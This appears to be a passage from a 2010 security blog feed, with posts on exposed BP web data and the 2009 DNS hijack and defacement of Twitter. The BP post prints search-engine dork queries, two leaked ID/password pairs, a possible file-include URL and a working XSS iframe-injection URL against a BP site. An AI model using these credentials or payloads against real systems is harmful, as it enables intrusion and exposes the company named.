<p><a href="http://www.google.com/#hl=en&amp;q=%22Documents+And+Settings%22+site%3Abp.com&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=&amp;gs_rfai=&amp;fp=dfdf66882bd03aae">http://www.google.com/#hl=en&amp;q=%22Documents+And+Settings%22+site%3Abp.com&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=&amp;gs_rfai=&amp;fp=dfdf66882bd03aae</a>.</p>

<p><div id="attachment_4067" class="wp-caption alignnone" style="width: 646px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/bp_mydocs.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/bp_mydocs.jpg" alt="" title="bp_mydocs" width="636" height="111" class="size-full wp-image-4067" /></a><p class="wp-caption-text">Username equals Warna3.</p></div>
<br /></p>

<p>Because a number of BP employees use the built in MS Word footer option for file name and path, their user names have been exposed in publicly released documents. Now that a number of usernames can be enumerated, with a brute force password cracker its off to the races for an attacker.</p>

<h4>Documents</h4>

<p>He then goes on to demonstrate that publicly available sites have a sub-directory /STAGING which appears to show semi-public documents (releases to the press, investor releases, etc.).</p>

<p><a href="http://www.google.com/#q=site:bp.com+inurl:staging+%222010%22&amp;hl=en&amp;start=0&amp;sa=N&amp;fp=dfdf66882bd03aae">http://www.google.com/#q=site:bp.com+inurl:staging+%222010%22&amp;hl=en&amp;start=0&amp;sa=N&amp;fp=dfdf66882bd03aae</a></p>

<p>It&#8217;s unclear that anything unusual is publicly exposed here. One document is marked official use only which shows the oil spill projections, however that&#8217;s a lot like saying something is under copyright but still releasable. Another is marked &#8220;Project Confidential&#8221; but it&#8217;s unclear if it left that classification when added to the /STAGING site.</p>

<p><div id="attachment_4086" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/bp_situationmap.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/bp_situationmap.jpg" alt="" title="bp_situationmap" width="750" height="579" class="size-full wp-image-4086" /></a><p class="wp-caption-text">Situation Map.</p></div>
<br /></p>

<p>Like a lot of large companies, there&#8217;s probably more online than should be, but it doesn&#8217;t appear /STAGING has any special significance as an intranet type site. I will confess, this is my favorite document, <a href="http://docs.google.com/viewer?a=v&amp;q=cache:O4zm5Oi8orsJ:www.bp.com/liveassets/bp_internet/globalbp/STAGING/global_assets/downloads/H/horizon_magazine_issue_2_april_2008.pdf+site:bp.com+inurl:staging+%222010%22+confidential&amp;hl=en&amp;gl=us&amp;pid=bl&amp;srcid=ADGEESj2qEnWcCOF8SWSE5Ikgv1JZDNi2DCJMt93uwf0BsHNct0gjaJcG0ymZucQ0kPIP5GbvWPemQ_7Y2Ddb76Ibx9-SU2hJfKB2wxvy-IXZAEhzJXqhWSKavmJCLcSAvBPxlUSw5EL&amp;sig=AHIEtbSyg7hGwgwf5flxBZmau3Amuc-x_A">the April 2008 company magazine</a>:</p>

<p><div id="attachment_4087" class="wp-caption alignnone" style="width: 495px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/bp_horizon.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/bp_horizon.jpg" alt="" title="bp_horizon" width="485" height="649" class="size-full wp-image-4087" /></a><p class="wp-caption-text">BP Horizon: The Battle to Secure Company Data.</p></div>
<br /></p>

<h4>Some Passwords</h4>

<p>There are two old passwords in two of the files, a form and a newsletter, both are for ibackup.com access which like other document sharing sites has a public folder concept. Given their age, there probably isn&#8217;t much of an issue here, however password re-use inside organizations is quite common.</p>

<p>ID: bproadmap<br />
PW: safety<br />
<a href="http://www.bp.com/liveassets/bp_internet/bp_canada_noel/bp_canada_noel_english/STAGING/local_assets/downloads_pdfs/j/journey_hazard_assessment_card_2009_02_18.pdf">journey_hazard_assessment_card_2009_02_18.pdf</a></p>

<p>ID: bpshipping02<br /> 
PW: flag01<br />
<a href="http://docs.google.com/viewer?a=v&amp;q=cache:6nzmWJJpB3kJ:www.bp.com/liveassets/bp_internet/bp_shipping/bp_shipping_english/STAGING/local_assets/downloads_pdfs/f/Flag_29_May_2008.pdf+site:bp.com+inurl:staging+password&amp;hl=en&amp;gl=us&amp;pid=bl&amp;srcid=ADGEESieFMPdmCO_hNW2MSA4pu7K_bGkmXjhna1KtQNEWiMcdfmOrm658QSkwKVIfO5rFFkOWkFPe8kq9ZssmL_XQ8K4Hdbkm409NGT_A0c0yVynORfFiqQLXNNTgaArMHygEpG9KCix&amp;sig=AHIEtbT7TxhK88zxrqpdVTepx1Z8nH_lhA">Flag_29_May_2008.pdf</a></p>

<p>In the case of the second id, it certainly looks to be the kind of id and password that gets incremented for different things (bpshipping01, bpshipping03, flag02).</p>

<h3>PHP File Include and XSS</h3>

<p>Finally, the Reddit commenter points out the energizer.gp.com URL as one that appears to be a web application with a few issues including potentially a PHP remote file include or arbitrary file access:</p>

<p>http://energiser.bp.com/help.php?module=moodle&amp;file=insert file here</p>

<p>The site appears to use Moodle, a popular CMS platform, thus something else that can be looked at. However <a href="http://www.xssed.com/mirror/67152/">holisticinfosec got there first</a> and best with an XSS based iFrame injection:</p>

<pre><code>http://energiser.bp.com/login/index.php?lang=%22%3E%3Ciframe%20src=http://www.tampabay.com/multimedi
a/archive/00121/SP_322824_BORC_oilp_121445c.jpg%20width=450%20height=300%20frameborder=0%20scroll=no
%3E%3C/%3E%3C/;document.write%28unescape%28a.source%29%29;{//
</code></pre>

<p><div id="attachment_4071" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/bp_xss1.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/bp_xss1.jpg" alt="" title="bp_xss" width="750" height="707" class="size-full wp-image-4071" /></a><p class="wp-caption-text">iFrame inclusion on a bp.com site.</p></div>
<br /></p>

<h3>Finally</h3>

<p>Is most of this nonsense from a hard core security standpoint? Yes, to an extent. The XSS ought to be corrected, and dual factor authentication on VPN&#8217;s is kind of a must have at this point.</p>

<p>Does BP need a security audit of their perimeter, web properties, online services used, and security policies? Also yes. Maybe schedule it after they plug that gushing oil geyser this August.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/newsweek-reports-zombie-invasion/">Newsweek Reports Zombie Invasion</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/congressional-web-site-defacements-follow-the-state-of-the-union/">Congressional Web Site Defacements Follow the State of the Union</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/umm-techcrunch-defacement-two-in-24-hours/">Umm&#8230;TechCrunch? Defacement Two in 24 Hours</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/techcrunched-techcrunch-the-victim-of-a-defacement/">TechCrunched &#8211; TechCrunch the Victim of a Defacement</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/baidu-com-the-latest-victim-of-iranian-cyberarmy/">Baidu.com the Latest Victim of Iranian CyberArmy</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/06/going-after-bp/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>We shall strike if the leader orders: Twitter Struck by Iranian Cyber Army</title>
		<link>http://praetorianprefect.com/archives/2009/12/we-shall-strike-if-the-leader-orders-twitter-struck-by-iranian-cyber-army/</link>
		<comments>http://praetorianprefect.com/archives/2009/12/we-shall-strike-if-the-leader-orders-twitter-struck-by-iranian-cyber-army/#comments</comments>
		<pubDate>Thu, 17 Dec 2009 16:32:07 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Web Site Defacement]]></category>
		<category><![CDATA[hacktivism]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=2500</guid>
		<description><![CDATA[At some time around 10pm on Thursday, users going to Twitter.com were served the page below with a banner reading "This site has been hacked by the Iranian Cyber Army". Also, mowjcamp.org, a site for supporters of Mir-Hossein Mousavi Khameneh a candidate who ran against Mahmoud Ahmadinejad in the 2009 Iranian presidential election, has been serving a similar defacement since at least December 16th and continues to do so. The motive appears to be activism in support of Iran's current Islamic regime. The attack vector was a bad actor using an id and password assigned to Twitter to log in to the <a href="https://dyn.com/user">administrative portal</a> of managed DNS service provider <a href="http://dyn.com/">Dyn</a>.]]></description>
			<content:encoded><![CDATA[<p>Fully updated: 12/18/09</p>

<p><a href="http://praetorianprefect.com/wp-content/uploads/2009/12/iran_thumbnail.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2009/12/iran_thumbnail-150x150.jpg" alt="iran_thumbnail" title="iran_thumbnail" width="150" height="150" class="alignleft size-thumbnail wp-image-2501" /></a></p>

<p>At some time around 10pm on Thursday, users going to Twitter.com were served the page below with a banner reading &#8220;This site has been hacked by the Iranian Cyber Army&#8221;. Also, mowjcamp.org, a site for supporters of Mir-Hossein Mousavi Khameneh a candidate who ran against Mahmoud Ahmadinejad in the 2009 Iranian presidential election, has been serving a similar defacement since at least December 16th and continues to do so. The motive appears to be activism in support of Iran&#8217;s current Islamic regime. The attack vector was a bad actor using an id and password assigned to Twitter to log in to the <a href="https://dyn.com/user">administrative portal</a> of managed DNS service provider <a href="http://dyn.com/">Dyn</a>.
<br /><br /><br /><br /></p>

<div id="attachment_2502" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/12/Twitteriran.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2009/12/Twitteriran-300x298.jpg" alt="The page served to users visiting twitter.com as it appeared earlier." title="Twitteriran" width="300" height="298" class="size-medium wp-image-2502" /></a><p class="wp-caption-text">The page served to users visiting twitter.com as it appeared earlier.</p></div>
<br /></p>

<p>Twitter actually had <a href="http://www.nytimes.com/external/idg/2009/06/18/18idg-twitter-plays-key-role-in-dos-attacks-in-iran-33328.html">a prominent role</a> in protests following the disputed Iranian presidential elections, and was a key source for Iranian citizens to both receive and disseminate information during the country&#8217;s widespread protests. The targeting of both the opposition candidate and the Twitter platform is then somewhat suspect as being related to the time period following the election. Such digital attacks for political purposes are sometimes referred to as <a href="http://en.wikipedia.org/wiki/Hacktivism">hacktivism</a>, usually defined as &#8220;the nonviolent use of illegal or legally ambiguous digital tools in pursuit of political ends&#8221;.</p>

<p>The site description in Google which temporarily indexed Twitter with the defacement seems to confirm this motive. The text reads: “In the name of God, As an Iranian this is a reaction to Twitter’s interference sly which was U.S. authorities ordered in the internal affairs of my country…”.</p>

<p><div id="attachment_2505" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/12/google-twitter.png"><img src="http://praetorianprefect.com/wp-content/uploads/2009/12/google-twitter-300x170.png" alt="Google&#039;s short lived indexing of the defaced twitter.com." title="google-twitter" width="300" height="170" class="size-medium wp-image-2505" /></a><p class="wp-caption-text">Google's short lived indexing of the defaced twitter.com.</p></div>
<br /></p>

<p>The page contains an e-mail address, I guess the &#8220;Iranian Cyber Army&#8221; is accepting feedback, an image of a flag with Arabic words, and an English message at the bottom as follows:</p>

<pre><code>U.S.A. Think They Controlling And Managing Internet By Their Access, But THey Don’t, We Control And 
Manage Internet By Our Power, So Do Not Try To Stimulation Iranian Peoples To….

NOW WHICH COUNTRY IN EMBARGO LIST? IRAN? USA?
WE PUSH THEM IN EMBARGO LIST ;)
Take Care.
</code></pre>

<p>We think its nice they asked us to take care.</p>

<h3>Attack Vector</h3>

<p>Twitter uses a hosted managed DNS service by <a href="http://dyn.com/dynect">Dyn, Inc</a>, a New Hampshire firm, for their domain names.  According to <a href="http://www.who.is/domain_archive-com/twitter.com/">WHO.IS</a>, they have been using this service since February of 2009.  Dyn&#8217;s Chief Technology Officer, Tom Daly, has stated that  someone using a “set of valid Twitter credentials” made the DNS changes that affected twitter.</p>

<p>So they would have logged in here:</p>

<p><div id="attachment_2544" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/12/Screen-shot-2009-12-18-at-3.32.08-PM1.png"><img src="http://praetorianprefect.com/wp-content/uploads/2009/12/Screen-shot-2009-12-18-at-3.32.08-PM1-300x133.png" alt="Dyn Login Screen" title="Screen-shot-2009-12-18-at-3.32.08-PM" width="300" height="133" class="size-medium wp-image-2544" /></a><p class="wp-caption-text">Dyn Login Screen</p></div>
<br /></p>

<p>Then they would have been presented a page like this (here&#8217;s ours as an example, all public information), and could modify where the domain name points:</p>

<p><div id="attachment_2545" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/12/Screen-shot-2009-12-18-at-5.38.30-PM.png"><img src="http://praetorianprefect.com/wp-content/uploads/2009/12/Screen-shot-2009-12-18-at-5.38.30-PM-300x164.png" alt="Example screen where DNS records are edited." title="Screen shot 2009-12-18 at 5.38.30 PM" width="300" height="164" class="size-medium wp-image-2545" /></a><p class="wp-caption-text">Example screen where DNS records are edited.</p></div>
<br /></p>

<h3>Dyn Responds</h3>

<ul>
<li><i>&#8220;It was not a failing on our systems whatsoever.&#8221; </i>

<ul>
<li>Tom Daly, Dyn CTO</li>
</ul></li>
<li><i>&#8220;&#8221;This was not an unauthorized breach of our system.&#8221;</i> </li>
<li>On Twitter&#8217;s explanation <i>&#8220;It will fully exonerate us, that&#8217;s one thing I can say,&#8221;</i></li>
<li>On whether Twitter&#8217;s credentials were stolen by hackers: <i>&#8220;You&#8217;ll have to read between the lines,&#8221;</i>

<ul>
<li>Kyle York, Dyn VP of Marketing</li>
</ul></li>
</ul>

<p>Well those are examples of a combination of a strong statement alongside playing semantics.  Dyn hosts DNS for a number of major web properties such as Arcsight, Zappos, Subway, British Telecom and others. While many other managed DNS services do the same thing, requiring only a web form with id and password authentication is probably not a good way to protect DNS records.</p>

<p>As an example of where to go from here, the online video game World of Warcraft has $6.50 physical one time password (OTP) tokens to authenticate in order to play:</p>

<p><div id="attachment_2547" class="wp-caption alignleft" style="width: 160px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/12/blizzard_authenticator-222x300.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2009/12/blizzard_authenticator-222x300-150x150.jpg" alt="OTP token to authenticate, to World of Warcraft." title="blizzard_authenticator-222x300" width="150" height="150" class="size-thumbnail wp-image-2547" /></a><p class="wp-caption-text">OTP token to authenticate, to World of Warcraft.</p></div>
<br /></p>

<p>Many of you log into your corporate virtual private networks with similar OTP tokens, issued by firms such as RSA.</p>

<p>So your company protects its internal network with dual factor authentication. Many web sites and web services such as World of Warcraft or eTrade protect the individual user with the same. Why doesn&#8217;t Twitter require their managed DNS provider to protect the primary product of their $1 billion dollar valuation company with the same.</p>

<p>We&#8217;ve also asked Dyn twice for the geoip of the attacker that used Twitter credentials to update the DNS entry without response.</p>

<h4>How did they get Twitter&#8217;s Login for the Site?</h4>

<p>I don&#8217;t know, and there&#8217;s been a lot of speculation. But looking for evidence of something that has changed? DynStatus reports on Friday that &#8220;due to increased security concerns&#8230;we have disabled access to our e-mail based password reset system, to prevent compromise of customer login credentials via e-mail systems.</p>

<p>So potentially something happened where the password reset function was subverted, either by someone having access to the e-mail account at Twitter that password reset e-mails are sent to, or a subversion of the password reset functionality on the web site.</p>

<p><div id="attachment_2548" class="wp-caption alignleft" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/12/dyn_status.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2009/12/dyn_status-300x169.jpg" alt="E-mail based password resets suspended, as of today, by Dyn." title="dyn_status" width="300" height="169" class="size-medium wp-image-2548" /></a><p class="wp-caption-text">E-mail based password resets suspended, as of today, by Dyn.</p></div>
<br /></p>

<p>Was e-mail access absolutely required to subvert a password reset? Of course not, as an example the site has some of the source HTML usually associated with sites built with the Drupal CMS, which has had past issues with attacks on its password reset function: <a href="http://www.securityhome.eu/exploits/exploit_pdf.php?eid=127727419649b1ab314e5984.24334605">drupal-passwdxss.txt</a>. We&#8217;re not saying that&#8217;s what this is, but we are replying that until Twitter comes forward, no one knows that a Twitter staff e-mail account has been compromised.</p>

<h3>What&#8217;s the Flag Say?</h3>

<p>Relying on the translations of others (we don&#8217;t speak Arabic or Farsi) the flag contains a message of  &#8220;<a href="http://en.wikipedia.org/wiki/Hezbollah">Hezbollah</a> is victorious&#8221; at the top, referring to the paramilitary organization in Lebanon supported by Iran which in 2006 engaged in a 34 day military conflict with Israel.</p>

<p>The next word is the name of the third Shi&#8217;i Imam, <a href="http://en.wikipedia.org/wiki/Imam_Husayn">Imam Husayn</a>.  Finally at the bottom there is a poem that reads: &#8220;We shall strike if the leader orders, we shall lose our heads if the leader wishes.&#8221;</p>

<p>Based on the material displayed, there is speculation that the cracker(s) is part of a Shiite group.</p>

<h3>Twitter.com Serving the Page from the Wrong IP</h3>

<p>At some point during last night&#8217;s defacement people started noting that the content being served for the domain twitter.com was being served by IP address: 66.147.242.88.  This IP address is tied to Bluehost and according to GeoIP is a web server in Provo, Utah. The IP is still hosting a similar defacement page at the time of writing at: <a href="http://66.147.242.88/~twitter9/index.htm">http://66.147.242.88/~twitter9/index.htm</a>.</p>

<p><div id="attachment_2503" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/12/twitter9.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2009/12/twitter9-300x240.jpg" alt="Page returned from http://66.147.242.88/~twitter9/index.htm." title="twitter9" width="300" height="240" class="size-medium wp-image-2503" /></a><p class="wp-caption-text">Page returned from http://66.147.242.88/~twitter9/index.htm.</p></div>
<br /></p>

<p>This version has a few sentences in Farsi at the bottom as opposed to the English message, Google translates this as:</p>

<pre><code>Name of God
As an Iranian response to this intervention sly server command in the internal affairs of my country
 and American authorities)
This site is a warning Hk
</code></pre>

<p>If any native speakers who can read this want to help us with the translation, the comments are open below.</p>

<h3>The Attack &#8211; Theories from Last Night Worth Explaining</h3>

<h4>DNS Cache Poisoning?</h4>

<p>Twitter&#8217;s Biz Stone put out an update <a href="http://blog.twitter.com/2009/12/dns-disruption.html">on their blog</a> indicating that Twitter&#8217;s DNS records &#8220;were temporarily compromised&#8221;. That led to speculation that the culprit was <a href="http://en.wikipedia.org/wiki/DNS_cache_poisoning">DNS Cache Poisoning</a>. An explanation of DNS Cache Poisoning could easily make its own blog post, so we&#8217;ll keep it brief here.</p>

<p>Essentially a domain name server translates a domain name (www.google.com) into an IP address used to find the resource requested which is hosted on the Internet. Usually name servers rely on data served from authoritative Domain Name System, basically a hierarchy of who listens to who. When a bad actor (or possibly an unintended mistake) is able to provide bad data to a caching name server, that name server is considered poisoned. That data is cached for future requests, but now may contain a record that diverts a domain name (www.google.com) to an IP address not owned by Google but rather by the bad actor.</p>

<p>A cache is a duplicate copy of original data stored elsewhere, kept to speed up duplicate requests for the same resource.  Confused? There is a decent video below explaining an attack scenario where the DNS server receives a look up request from a bad actor who then floods the DNS server with bad name resolution data. The bad resolution of the domain is saved in cache, and future users are sent to the wrong IP address. For example, it may send requests for twitter.com to an IP address in Utah serving up Iranian political propaganda.</p>

<h3>Basic Explanation of DNS Cache Poisoning</h3>

<p>Check Point put out a video last year that gives what is a very high level explanation of what happens in a DNS Cache Poisoning attack. If you&#8217;re not familiar with this type of attack, it might be useful:</p>

<p><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/1d1tUefYn4U&#038;hl=en_US&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/1d1tUefYn4U&#038;hl=en_US&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object></p>

<h4>DNS Hijacking?</h4>

<p>Another site suggested the problem might be DNS Hijacking. A DNS server essentially is used to translate domain names to IP addresses, basically because domain names are easier to remember when accessing Internet connected resources. While most users depend on DNS servers hosted by their ISP and in turn downstream providers, it is possible for a bad actor to host a rogue DNS server, point the domains of legitimate web sites to IP addresses hosting a bogus web site for example, and attempt via malicious code on the PC to change the user&#8217;s DNS server assignment. When a bad actor attempts to redirect users from a legitimate web site to a bogus one, its usually referred to as pharming.</p>

<h3>mowjcamp.org</h3>

<p>Recall we mentioned earlier that Twitter is the second site we&#8217;re aware of to be defaced in the same way. The site <a href="http://mowjcamp.com/">mowjcamp.org</a>, a political rally web site supporting former Iranian opposition candidate <a href="http://en.wikipedia.org/wiki/Mir-Hossein_Mousavi#2009_Presidential_election">Mir-Hossein Mousavi Khameneh</a>, is actively at time of writing serving a defacement page similar to the one that was on Twitter with this IP address: 66.147.244.182. This IP is also associated with ISP Bluehost, and GeoIP also points back to Provo, Utah for its location.</p>

<p>The first screenshot is what mowjcamp.org is supposed to look like, and can be viewed directly at the IP address: <a href="http://174.129.25.248">http://174.129.25.248</a>.</p>

<p><div id="attachment_2507" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/12/mawjcamporg21.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2009/12/mawjcamporg21-300x239.jpg" alt="What mawjcamp.org is supposed to look like." title="mawjcamporg2" width="300" height="239" class="size-medium wp-image-2507" /></a><p class="wp-caption-text">What mowjcamp.org is supposed to look like.</p></div>

<div id="attachment_2508" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/12/mawjcamporg1.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2009/12/mawjcamporg1-300x239.jpg" alt="What mawjcamp.org looks like now." title="mawjcamporg1" width="300" height="239" class="size-medium wp-image-2508" /></a><p class="wp-caption-text">What mowjcamp.org looks like now.</p></div>

<h3>Twitter Responds</h3>

<p>So as we mentioned earlier Twitter had this to say last night:</p>

<pre><code>12/17/09 11:43 PM
As we tweeted a bit ago, Twitter's DNS records were temporarily compromised tonight but have now been fixed.
 As some noticed, Twitter.com was redirected for a while but API and platform applications were working. 
We will update with more information and details once we've investigated more fully.
</code></pre>

<p>And then today posted this update:</p>

<pre><code>12/18/09 1:33 PM
Update on Last Night's DNS Disruption
Domain Name System or DNS is an Internet protocol used to translate IP addresses into domain names so 
instead of typing in a long string of numbers we can enter urls like www.twitter.com into a browser to visit 
our favorite web sites. Last night, DNS settings for the Twitter web site were hijacked. 
From 9:46pm to 11pm PST, approximately 80% of Traffic to Twitter.com was redirected to other web sites. 
We tweeted, blogged, and updated our status page last night.

During the attack, we were in direct contact with our DNS provider, Dynect. We worked closely to reset our 
DNS as quickly as possible. The motive for this attack appears to have been focused on defacing our site, 
not aimed at users—we don't believe any accounts were compromised. If you're concerned that your 
account could have been affected in some way, feel free to contact us, accountsafe [at] twitter.com.
</code></pre>

<p>As is always the case, the updates are short on meaningful information, providing a review of what we already read elsewhere, leaving out any indication of how the bad actor or actors got the login credentials for Dyn, and not providing any indication on what might be corrected to prevent this going forward.</p>

<h3>Bluehost Responds</h3>

<p><i>Bluehost discovered that Twitter.com had been the victim of a DNS compromise and, further, that the attackers had redirected some of the Twitter traffic to an account hosted on Bluehost servers. This customer account on BlueHost was setup using a stolen identity and credit card, as determined by the Bluehost verification department. The Bluehost abuse department immediately terminated this account. Contact was made by Bluehost to law enforcement agents to assist in all ongoing investigations.</i></p>

<p>It is somewhat strange that their monitoring did not notice a web site that went from zero to millions of visits in minutes.</p>

<h3>Hysteria</h3>

<p>The coverage coming out of this incident is riotious:</p>

<p><i>Thursday night&#8217;s cyber attack against the Twitter microblogging service was no routine assault to bring down a website. It was a sophisticated online blitz –perhaps part of an online Iranian cybercampaign – that could prove costly for social media networks.</i></p>

<p><a href="http://www.csmonitor.com/Money/2009/1218/Iranian-hacker-attack-What-will-it-cost-Twitter">http://www.csmonitor.com/Money/2009/1218/Iranian-hacker-attack-What-will-it-cost-Twitter</a></p>

<p>Ah yes, the blitzkrieg online cyberwar has begun. Let me get my hat. If by sophisticated you mean &#8220;is able to use a web site&#8221; and &#8220;knows how to use &#8216;whois&#8217;&#8221; then yes, a highly sophisticated assault.</p>

<p><i>The attack last night on Twitter was clear retribution for the role that the service played during the [post-Iran election] 
demonstrations, and the role that it continues to play today. We have spoken to a number of sources overnight who have 
told us that the Iranian Cyber Army, unlike other groups with similar national monikers, is a group name that is to be taken 
literally ie. it is an Iranian government group. Little is known about how the group operates, but previous attempts to shut 
off Iranian citizens from Twitter and other web services demonstrate that Iran has the capability and will to use almost any 
means to control the flow of information on the web both within and outside of its own borders. </i></p>

<p><a href="http://www.washingtonpost.com/wp-dyn/content/article/2009/12/18/AR2009121801982.html">http://www.washingtonpost.com/wp-dyn/content/article/2009/12/18/AR2009121801982.html</a></p>

<p>Do these sources have names or credibility of any kind? Because while this could be a government sponsored group, it could be a pissed off Islamic kid, a group of guys who communicate in an Arabic hacking forum, or any number of things.</p>

<p><i>In a web war, Iran has demonstrated that almost nobody is immune, the battlefield is level and it is not afraid to fire the first big shots in full view of the entire world.</i></p>

<p><a href="http://www.techcrunch.com/2009/12/18/twitter-dns-attack-iran/">http://www.techcrunch.com/2009/12/18/twitter-dns-attack-iran/</a></p>

<p>Are we in a web war with Iran? Because no one has one iota of proof yet that this is an Iranian government sponsored group. For reference, the battlefield is not level if we are in a war, the U.S. dependence on technology is far greater than that of Iran. If they&#8217;re ready to step up beyond logging in to an accessible web portal and changing a DNS entry at a managed DNS provider, they could really cause a lot of trouble.</p>

<p><i>With a large-scale attack on a popular global web service, it is the first time that cyber attacks have been used as part of a propaganda campaign to propel the global political agenda of a foreign government.</i></p>

<p><a href="http://www.techcrunch.com/2009/12/18/twitter-dns-attack-iran/">http://www.techcrunch.com/2009/12/18/twitter-dns-attack-iran/</a></p>

<p>Really? I could have sworn I&#8217;ve seen <a href="http://www.scmagazineus.com/web-defacements-escalate-as-israel-moves-farther-into-gaza/article/123542/">web sites defaced for political propaganda purposes before</a>.</p>

<h3>The HTML</h3>

<p>Since these sites may be taken down at any point, if you want to do further research here is the HTML that was being returned from the defaced web site:</p>

<pre><code>&lt;html&gt;

&lt;head&gt;
&lt;meta http-equiv="Content-Language" content="en-us"&gt;
&lt;meta http-equiv="Content-Type" content="text/html; charset=windows-1252"&gt;
&lt;title&gt;..:: This Web Site Has Been Hacked By Iranian Cyber Army ::.. &lt;/title&gt;
&lt;/head&gt;

&lt;body bgcolor="#000000"&gt;

&lt;p align="center"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p align="center"&gt;&lt;img border="0" src="index.6.gif"&gt;&lt;img border="0" src="index.2.gif"&gt;&lt;img border="0" 
src="index.7.gif"&gt;&lt;/p&gt;
&lt;p align="center"&gt;&lt;img border="0" src="index.8.gif"&gt;&lt;/p&gt;
&lt;p align="center"&gt;
&lt;a href="mailto:iranian.cyber.army@gmail.com?subject=Mowjcamp"&gt;
&lt;img border="0" src="index.5.gif"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p align="center"&gt;&lt;img border="0" src="index.3.jpg" width="43%" height="106%"&gt;&lt;/p&gt;
&lt;p align="center"&gt;&lt;font face="Tahoma" size="2"&gt;&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/font&gt;&lt;/p&gt;
&lt;p align="center"&gt;&lt;b&gt;&lt;font face="Tahoma" size="2" color="#FFFFFF"&gt;nbsp;
&amp;#1576;&amp;#1606;&amp;#1575;&amp;#1605; &amp;#1582;&amp;#1583;&amp;#1575;&lt;br&gt;
&amp;#1576;&amp;#1607; &amp;#1593;&amp;#1606;&amp;#1608;&amp;#1575;&amp;#1606; &amp;#1740;&amp;#1705; 
&amp;#1575;&amp;#1740;&amp;#1585;&amp;#1575;&amp;#1606;&amp;#1740; &amp;#1583;&amp;#1585; &amp;#1662;&amp;#1575;&amp;#1587;&amp;#1582; 
&amp;#1576;&amp;#1607; &amp;#1583;&amp;#1582;&amp;#1575;&amp;#1604;&amp;#1578; &amp;#1607;&amp;#1575;&amp;#1740; 
&amp;#1588;&amp;#1740;&amp;#1591;&amp;#1606;&amp;#1578; &amp;#1570;&amp;#1605;&amp;#1740;&amp;#1586; &amp;#1575;&amp;#1740;&amp;#1606; 
&amp;#1587;&amp;#1585;&amp;#1608;&amp;#1740;&amp;#1587; &amp;#1583;&amp;#1607;&amp;#1606;&amp;#1583;&amp;#1607; &amp;#1576;&amp;#1607; 
&amp;#1583;&amp;#1587;&amp;#1578;&amp;#1608;&amp;#1585; 

&amp;#1605;&amp;#1602;&amp;#1575;&amp;#1605;&amp;#1575;&amp;#1578; 
&amp;#1570;&amp;#1605;&amp;#1585;&amp;#1740;&amp;#1705;&amp;#1575;&amp;#1740;&amp;#1740; &amp;#1583;&amp;#1585; 
&amp;#1575;&amp;#1605;&amp;#1608;&amp;#1585; &amp;#1583;&amp;#1575;&amp;#1582;&amp;#1604;&amp;#1740; 
&amp;#1705;&amp;#1588;&amp;#1608;&amp;#1585;&amp;#1605; )&amp;nbsp; &lt;br&gt;
&amp;#1575;&amp;#1740;&amp;#1606; &amp;#1587;&amp;#1575;&amp;#1740;&amp;#1578; &amp;#1576;&amp;#1607; 
&amp;#1593;&amp;#1606;&amp;#1608;&amp;#1575;&amp;#1606; &amp;#1607;&amp;#1588;&amp;#1583;&amp;#1575;&amp;#1585; &amp;#1607;&amp;#1705; 
&amp;#1605;&amp;#1740; &amp;#1588;&amp;#1608;&amp;#1583; &lt;br&gt;

&amp;nbsp;&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;

&lt;/body&gt;

&lt;/html&gt;
</code></pre>

<h3>Finally</h3>

<p>Although Twitter&#8217;s security posture has been a well publicized running disaster, this particular circumstance doesn&#8217;t really fall under the same category as previous problems because this was an attack outside of the Twitter infrastructure itself. TechCrunch threw something out there about changing your passwords, always a good practice, but your password was probably not at risk during this attack.</p>

<p>Who says the crackers only motivation is money these days?</p>

